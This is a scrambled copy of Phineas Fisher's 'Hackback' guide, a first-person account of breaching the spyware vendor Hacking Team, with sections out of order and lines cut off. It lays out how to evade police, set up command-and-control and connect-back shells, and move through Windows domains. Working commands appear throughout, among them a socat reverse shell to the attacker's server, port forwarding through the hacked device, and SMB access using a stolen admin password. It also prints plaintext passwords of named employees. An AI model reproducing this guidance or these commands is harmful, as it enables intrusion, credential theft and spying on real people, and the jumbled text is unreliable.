Phineas Fisher
Hackback - A DIY GUIDE 1
’Hacking Team attack’
17 Apr 2016

14th feb 20www.exploit-db.com

usa.anarchistlibraries.net

Hackback - A DIY GUIDE 1

’Hacking Team attack’

Phineas Fisher

17 Apr 2016

```
 _   _            _      ____             _    _
| | | | __ _  ___| | __ | __ )  __ _  ___| | _|
| |_| |/ _‘ |/ __| |/ / |  _ \ / _‘ |/ __| |/ /
|  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_
```

```
       A DIY Guide
```

```
      ,-._,-._
   _,-\  o O_/;
  / ,  ‘     ‘|
  | \-.,___,  /   ‘
   \ ‘-.__/  /    ,.\
  / ‘-.__.-\‘   ./   \’
 / /|    ___\ ,/      ‘\
( ( |.-’’‘   ’/\         \  ‘
 \ \/      ,,  |          \ _
  \|     o/o   /           \.
```

```
               \       , /          /
               ( __`;-;'__`)        \\
               `//'`   `||`          `\
              _//       ||         __   _   _
          .-''-._,(__)    .(__).-'"'-.    | | | |
         /         \    /          \    | | |_|
         \         /    \          /    | |  _
          `'-------`     `--------'`   __| |_| |_
                #antisec
```

--[1 - Introduction]--

You’ll notice the change in language since the last edition [1
English-speaking world already has tons of books, talks, guide
info about hacking. In that world, there’s plenty of hackers b
but they misuse their talents working for ’’defense’’ contractor
agencies, to protect banks and corporations, and to defend the
Hacker culture was born in the US as a counterculture, but tha
remains in its aesthetics - the rest has been assimilated. At
wear a t-shirt, dye their hair blue, use their hacker names, a
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2].
a gun to rob a bank. Now you can do both from bed with a lapto
Like the CNT said after the Gamma Group hack: ’’Let’s take a st
new forms of struggle’’ [5]. Hacking is a powerful tool, let’s

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_In
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataq

--[2 - Hacking Team]--

```
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2A
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyj
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav7OQXtHllxOAy
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YU
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAA
CRA0nDOR6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiE
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZ
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+G
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHR
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5Gp
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----
```

If not you, who? If not now, when?

```
 _   _          _     ____          _   _
| | | | __ _  ___| | __ | __ )  __ _  ___| | _|
| |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ /
|  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_
```

Hacking Team saw themselves as part of a long line of inspired
[1]. I see Vincenzetti, his company, his cronies in the police
and government, as part of a long tradition of Italian fascism
dedicate this guide to the victims of the raid on the Armando
to all those who have had their blood spilled by Italian fasci

[1] https://twitter.com/coracurrier/status/618104723263090688

--[18 - Contact]--

To send me spear phishing attempts, death threats in Italian [
give me 0days or access inside banks, corporations, government

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail

```
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04K
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE7
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9l
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPG
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQ
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3t
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sl
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1K
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5P
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJ
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ
```

Hacking Team was a company that helped governments hack and spy
journalists, activists, political opposition, and other threats
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actu
and terrorists [12]. Vincenzetti, the CEO, liked to end his ema
fascist slogan ”boia chi molla”. It’d be more correct to say ”b
RCS”. They also claimed to have technology to solve the ”proble
and the darknet [13]. But seeing as I’m still free, I have my d
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opo
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hackin
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethio
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-bas
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journ
[9] https://theintercept.com/2015/07/07/leaked-documents-confir
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietn
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossett
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founde

--[3 - Stay safe out there]-----------------------------------

Unfortunately, our world is backwards. You get rich by doing ba
to jail for doing good. Fortunately, thanks to the hard work of
the Tor project [1], you can avoid going to jail by taking a fe
precautions:

1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, it me already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

This accomplishes two things. First, all your traffic is an
Tor. Second, keeping your personal life and your hacking on
computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorV
something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor

Tor isn't a panacea. They can correlate the times you're co
with the times your hacker handle is active. Also, there ha
successful attacks against Tor [8]. You can connect to Tor
peoples' wifi. Wifislax [9] is a linux distro with a lot of
cracking wifi. Another option is to connect to a VPN or a b
before Tor, but that's less secure because they can still c
hacker's activity with your house's internet activity (this
evidence against Jeremy Hammond [11]).

The reality is that while Tor isn't perfect, it works quite
was young and reckless, I did plenty of stuff without any p
referring to hacking) apart from Tor, that the police tried
to investigate, and I've never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/Transpar
[7] https://www.whonix.org/wiki/Comparison_with_Others

Within Christian Pozzi's Truecrypt volume, there was a textfile
passwords [1]. One of those was for a Fully Automated Nagios se
access to the Sviluppo network in order to monitor it. I'd foun
needed. The textfile just had the password to the web interface
a public code execution exploit [2] (it's an unauthenticated ex
requires that at least one user has a session initiated, for wh
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%2
[2] http://seclists.org/fulldisclosure/2014/Oct/78

--[16 - Reusing and resetting passwords]--------------------

Reading the emails, I'd seen Daniele Milan granting access to g
already had his windows password thanks to mimikatz. I tried it
server and it worked. Then I tried sudo and it worked. For the
and their twitter account, I used the ”forgot my password” func
my access to their mail server to reset the passwords.

--[17 - Conclusion]--

That's all it takes to take down a company and stop their human
That's the beauty and asymmetry of hacking: with 100 hours of w
can undo years of work by a multi-million dollar company. Hacki
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is
educational purposes only, be an ethical hacker, don't attack s
don't have permission to, etc. I'll say the same, but with a mo
conception of ”ethical” hacking. Leaking documents, expropriati
banks, and working to secure the computers of ordinary people i
hacking. However, most people that call themselves ”ethical hac
to secure those who pay their high consulting fees, who are oft
deserving to be hacked.

[14] https://github.com/samratashok/nishang

--[14 - Hunting Sysadmins]-----------------------------------

Reading their documentation about their infrastructure [1], I
still missing access to something important - the ''Rete Svilup
network with the source code for RCS. The sysadmins of a compa
access to everything, so I searched the computers of Mauro Rom
Pozzi to see how they administer the Sviluppo network, and to
were any other interesting systems I should investigate. It wa
access their computers, since they were part of the windows do
already gotten admin access. Mauro Romeo's computer didn't hav
open, so I opened the port for WMI [2] and executed meterprete
addition to keylogging and screen scraping with Get-Keystrokes
Get-TimeScreenshot, I used many /gather/ modules from metasplo
[4], and searched for interesting files [5]. Upon seeing that
Truecrypt volume, I waited until he'd mounted it and then copi
files. Many have made fun of Christian Pozzi's weak passwords
Christian Pozzi in general, he provides plenty of material [6]
included them in the leak as a false clue, and to laugh at him
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileSer
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerSh
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshot
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/yo
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credential

--[15 - The bridge]---

[8] https://blog.torproject.org/blog/tor-security-advisory-rela
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-co

----[3.1 - Infrastructure]---------------------------------------

I don't hack directly from Tor exit nodes. They're on blacklist
slow, and they can't receive connect-backs. Tor protects my ano
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

   For C&C addresses, and for DNS tunnels for guaranteed egress

2) Stable Servers

   For use as C&C servers, to receive connect-back shells, to l
   and to store the loot.

3) Hacked Servers

   For use as pivots to hide the IP addresses of the stable ser
   when I want a fast connection without pivoting, for example
   scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bi
used carefully).

----[3.2 - Attribution]--

In the news we often see attacks traced back to government-back
groups (''APTs''), because they repeatedly use the same tools, le
footprints, and even use the same infrastructure (domains, emai

They’re negligent because they can hack without legal conseque

I didn’t want to make the police’s work any easier by relating
Hacking Team with other hacks I’ve done or with names I use in
work as a blackhat hacker. So, I used new servers and domain n
with new emails, and payed for with new bitcoin addresses. Als
tools that are publicly available, or things that I wrote spec
this attack, and I changed my way of doing some things to not
forensic footprint.

--[4 - Information Gathering]-------------------------------

Although it can be tedious, this stage is very important, sinc
attack surface, the easier it is to find a hole somewhere in i

----[4.1 - Technical Information]---------------------------

Some tools and techniques are:

1) Google

   A lot of interesting things can be found with a few well-ch
   queries. For example, the identity of DPR [1]. The bible of
   is the book ''Google Hacking for Penetration Testers''. You c
   summary in Spanish at [2].

2) Subdomain Enumeration

   Often, a company’s main website is hosted by a third party,
   the company’s actual IP range thanks to subdomains like mx.
   ns1.company.com. Also, sometimes there are things that shou
   in ''hidden'' subdomains. Useful tools for discovering domain
   are fierce [3], theHarvester [4], and recon-ng [5].

3) Reading sharepoint

   It’s another place where many businesses store a lot of impo
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers
   Domain Admin, you can already get a lot of info with powervi
   tools [12]. After getting Domain Admin, you should export al
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on C
   (one of Hacking Team’s sysadmins) gave me access to a Nagios
   gave me access to the rete sviluppo (development network wit
   code of RCS). With a simple combination of Get-Keystrokes an
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration f
   [14], and GPO, you can spy on any employee, or even on the w

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usa
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-t
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit

I have passwords and a golden ticket [1] as backup access. You
about the different techniques for persistence in windows here
for hacking companies, it's not needed and it increases the ri

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-e
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-p
[3] http://www.hexacorn.com/blog/category/autostart-persistenc
[4] https://blog.netspi.com/tag/persistence/

----[13.3 - Internal reconnaissance]------------------------

The best tool these days for understanding windows networks is
It's worth reading everything written by it's author [2], espe
[5], and [6]. Powershell itself is also quite powerful [7]. As
many windows 2000 and 2003 servers without powershell, you als
the old school [8], with programs like netview.exe [9] or the
”net view”. Other techniques that I like are:

1) Downloading a list of file names

With a Domain Admin account, you can download a list of all
the network with powerview:

```
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMI
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Gr
select fullname | out-file -append files.txt}
```

Later, you can read it at your leisure and choose which fil

2) Reading email

As we've already seen, you can download email with powershe
lot of useful information.

3) Whois lookups and reverse lookups

With a reverse lookup using the whois information from a dom
of a company, you can find other domains and IP ranges. As f
there's no free way to do reverse lookups aside from a googl

```
”via della moscova 13” site:www.findip-address.com
”via della moscova 13” site:domaintools.com
```

4) Port scanning and fingerprinting

Unlike the other techniques, this talks to the company's ser
include it in this section because it's not an attack, it's
information gathering. The company's IDS might generate an a
don't have to worry since the whole internet is being scanne

For scanning, nmap [6] is precise, and can fingerprint the m
services discovered. For companies with very large IP ranges
masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can
sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-uns
[2] http://web.archive.org/web/20140610083726/http://www.soulbl
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

----[4.2 - Social Information]-----------------------------

For social engineering, it's useful to have information about their roles, contact information, operating system, browser, p software, etc. Some resources are:

1) Google

Here as well, it's the most useful tool.

2) theHarvester and recon-ng

I already mentioned them in the previous section, but they functionality. They can find a lot of information quickly a automatically. It's worth reading all their documentation.

3) LinkedIn

A lot of information about the employees can be found here. recruiters are the most likely to accept your connection re

4) Data.com

Previously known as jigsaw. They have contact information f employees.

5) File Metadata

A lot of information about employees and their systems can metadata of files the company has published. Useful tools f files on the company's website and extracting the metadata [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

3) Pass the Hash

If you have a user's hash, but they're not logged in, you ca sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, command in meterpreter and pupy [6], or the psinject [7] com powershell empire. You can inject into the process that has want.

5) runas

This is sometimes very useful since it doesn't require admin The command is part of windows, but if you don't have a GUI powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-valid
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/mast

----[13.2 - Persistence]--

Once you have access, you want to keep it. Really, persistence challenge for assholes like Hacking Team who target activists a individuals. To hack companies, persistence isn't needed since sleep. I always use Duqu 2 style "persistence", executing in RA high-uptime servers. On the off chance that they all reboot at

If all those protocols are disabled or blocked by the firew
Domain Admin, you can use GPO to give users a login script,
execute a scheduled task [13], or, like we'll see with the
Mauro Romeo (one of Hacking Team's sysadmins), use GPO to e
open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.as
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psex
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-w
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examp
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powe
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-
[13] https://github.com/PowerShellEmpire/Empire/blob/master/li

''In place'' Movement:

1) Token Stealing

Once you have admin access on a computer, you can use the t
other users to access resources in the domain. Two tools fo
incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

You can take advantage of a validation bug in Kerberos to g
Admin tickets [3][4][5].

--[5 - Entering the network]-----------------------------------

There are various ways to get a foothold. Since the method I us
Hacking Team is uncommon and a lot more work than is usually ne
talk a little about the two most common ways, which I recommend

----[5.1 - Social Engineering]-------------------------------

Social engineering, specifically spear phishing, is responsible
majority of hacks these days. For an introduction in Spanish, s
more information in English, see [2] (the third part, ''Targeted
fun stories about the social engineering exploits of past gener
[3]. I didn't want to try to spear phish Hacking Team, as their
is helping governments spear phish their opponents, so they'd b
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.ht
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tac
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.

----[5.2 - Buying Access]------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic
bot herders, many companies already have compromised computers
networks. Almost all of the Fortune 500, with their huge networ
bots already inside. However, Hacking Team is a very small comp
of it's employees are infosec experts, so there was a low chanc
already been compromised.

----[5.3 - Technical Exploitation]---------------------------

After the Gamma Group hack, I described a process for searching
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum: 93.62.139.32 - 93.62.139.47

descr: HT public subnet

Hacking Team had very little exposed to the internet. For exam
Gamma Group, their customer support site needed a client certi
connect. What they had was their main website (a Joomla blog i
[2] didn't find anything serious), a mail server, a couple rou
appliances, and a spam filtering appliance. So, I had three op
a 0day in Joomla, look for a 0day in postfix, or look for a 0d
embedded devices. A 0day in an embedded device seemed like the
and after two weeks of work reverse engineering, I got a remot
Since the vulnerabilities still haven't been patched, I won't
details, but for more information on finding these kinds of vu
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2

--[6 - Be Prepared]--

I did a lot of work and testing before using the exploit again
I wrote a backdoored firmware, and compiled various post-explo
for the embedded device. The backdoor serves to protect the ex
exploit just once and then returning through the backdoor make
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't

2) nmap

   The tried and true method for lateral movement on windows. Y
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powersh
   invoke_psexec [4], or the builtin windows command "sc" [5].
   metasploit module, powershell empire, and pth-winexe [6], yo
   hash, not the password. It's the most universal method (it w
   windows computer with port 445 open), but it's also the leas
   Event type 7045 "Service Control Manager" will appear in the
   my experience, no one has ever noticed during a hack, but it
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all
   computers, but except for servers, the firewall blocks it by
   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the wi
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new
   But, if the sysadmin has already enabled it, it's very conve
   especially if you use powershell for everything (and you sho
   powershell for almost everything, it will change [11] with p
   windows 10, but for now powershell makes it easy to do every
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It
   same situations where you could use psexec, and it also leav
   footprint [12].

5) GPO

Now that I'd gotten Domain Admin, I started to download file s
proxy and the -Tc option of smbclient, for example:

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskSt
```

I downloaded the Amministrazione, FAE DiskStation, and FileSer
the torrent like that.

--[13 - Introduction to hacking windows domains]-------------

Before continuing with the story of the "weones culiaos" (Hack
should give some general knowledge for hacking windows network

----[13.1 - Lateral Movement]--------------------------------

I'll give a brief review of the different techniques for sprea
windows network. The techniques for remote execution require t
hash of a local admin on the target. By far, the most common w
those credentials is using mimikatz [1], especially sekurlsa::
and sekurlsa::msv, on the computers where you already have adm
techniques for "in place" movement also require administrative
(except for runas). The most important tools for privilege esc
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master
[3] https://github.com/PowerShellEmpire/Empire/blob/master/dat

Remote Movement:

1) psexec

To scan and fingerprint Hacking Team's internal network.

3) Responder.py

The most useful tool for attacking windows networks when you
the internal network, but no domain user.

4) Python

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp, an
arpspoofing. I wanted to use ettercap, written by Hacking Te
and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:

```
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,s
       tcp:my_server:my_port
```

And useful for a lot more, it's a networking swiss army knif
examples section of its documentation.

8) screen

Like the shell with pty, it wasn't really necessary, but I
at home in Hacking Team's network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local ne
program.

10) tgcd

For forwarding ports, like for the SOCKS server, through th

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-se
[10] http://tgcd.sourceforge.net/

The worst thing that could happen would be for my backdoor or
tools to make the system unstable and cause an employee to inv
spent a week testing my exploit, backdoor, and post-exploitati
networks of other vulnerable companies before entering Hacking

--[7 - Watch and Listen]-----------------------------------

Now inside their internal network, I wanted to take a look aro
about my next step. I started Responder.py in analysis mode (-
without sending poisoned responses), and did a slow scan with

HACKINGTEAM	d.milan	set!dob66
HACKINGTEAM	w.furlan	Blu3.B3rry!
HACKINGTEAM	d.romualdi	Rd13136f@#
HACKINGTEAM	l.invernizzi	L0r3nz0123!
HACKINGTEAM	e.ciceri	2O2571&2E
HACKINGTEAM	e.rabe	erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metas
[5] https://github.com/gentilkiwi/mimikatz

--[11 - Downloading the mail]-------------------------------

With the Domain Admin password, I have access to the email, the
company. Since with each step I take there's a chance of being
start downloading their email before continuing to explore. Pow
it easy [1]. Curiously, I found a bug with Powershell's date ha
downloading the emails, it took me another couple weeks to get
source code and everything else, so I returned every now and th
the new emails. The server was Italian, with dates in the forma
day/month/year. I used:

```
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/0
```

with New-MailboxExportRequest to download the new emails (in th
mail since June 5). The problem is it says the date is invalid
try a day larger than 12 (I imagine because in the US the month
and you can't have a month above 12). It seems like Microsoft's
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-

--[12 - Downloading Files]----------------------------------

--[10 - From backups to domain admin]------------------------

What interested me most in the backup was seeing if it had a pa
that could be used to access the live server. I used pwdump, ca
lsadump [1] on the registry hives. lsadump found the password
service account:

```
_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ....
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.:
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.
```

I used proxychains [2] with the socks server on the embedded de
smbclient [3] to check the password:

```
proxychains smbclient ’//192.168.100.51/c$’ -U ’hackingteam.lo
```

It worked! The password for besadmin was still valid, and a lo
used my proxy and metasploit’s psexec_psh [4] to get a meterpre
Then I migrated to a 64 bit process, ran ”load kiwi” [5], ”cre
got a bunch of passwords, including the Domain Admin:

```
HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysa
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
```

--[8 - NoSQL Databases]--

NoSQL, or rather NoAuthentication, has been a huge gift to the
community [1]. Just when I was worried that they’d finally patc
authentication bypass bugs in MySQL [2][3][4][5], new databases
style that lack authentication by design. Nmap found a few in H
internal network:

```
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5
```

They were the databases for test instances of RCS. The audio th
is stored in MongoDB with GridFS. The audio folder in the torre
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/00
[4] http://downloads.securityfocus.com/vulnerabilities/exploits
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053

[6] https://ht.transparencytoolkit.org/audio/

--[9 - Crossed Cables]--------------------------------------

Although it was fun to listen to recordings and see webcam ima
Team developing their malware, it wasn't very useful. Their in
were the vulnerability that opened their doors. According to t
documentation [1], their iSCSI devices were supposed to be on
network, but nmap found a few in their subnetwork 192.168.1.20

```
Nmap scan report for ht-synology.hackingteam.local (192.168.20
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.16
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required
```

iSCSI needs a kernel module, and it would've been difficult to
the embedded system. I forwarded the port so that I could moun

```
VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:4283

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
```

Now iSCSI finds the name iqn.2000-01.com.synology but has probl
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:

```
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destin
```

And now, after:

```
